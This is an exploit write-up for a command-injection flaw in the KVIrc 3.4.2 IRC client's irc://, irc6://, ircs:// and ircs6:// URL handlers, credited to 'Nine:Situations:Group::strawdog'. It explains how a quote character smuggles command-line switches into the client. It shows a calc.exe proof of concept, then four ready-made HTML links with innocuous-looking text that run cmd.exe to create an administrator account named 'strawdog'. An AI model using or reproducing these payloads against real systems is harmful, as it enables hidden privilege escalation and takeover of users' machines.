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KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit
by Nine:Situations:Group::strawdog
Tested against IE8beta/WINxpsp3

software site:
http://www.kvirc.net/?lang=en
description:
"KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac
OS.[..]"

A command line parsing vulnerability exists (or I should say persists...:
http://secunia.com/advisories/25740, fixed or not?) which can be exploited by
passing the '"' char followed by command line switches to 'irc:///', 'irc6:///',
'ircs:///' and 'ircs6:///' urls, ex. this shows the argument list:
irc:///"%20--help%20"
The most interesting one is the -e switch followed by 'run' command, this runs
calc.exe:
irc:///"%20--nosplash%20-e%20"run%20calc"%20"

The following links add a new user on target with admin privileges
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  <a href='irc:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>Heaven and Earth are impartial</a><br>

  <a href='irc6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the ten thousand things as straw dogs</a><br>

  <a href='ircs:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>The wise are impartial</a><br>

  <a href='ircs6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the people as straw dogs</a><br>

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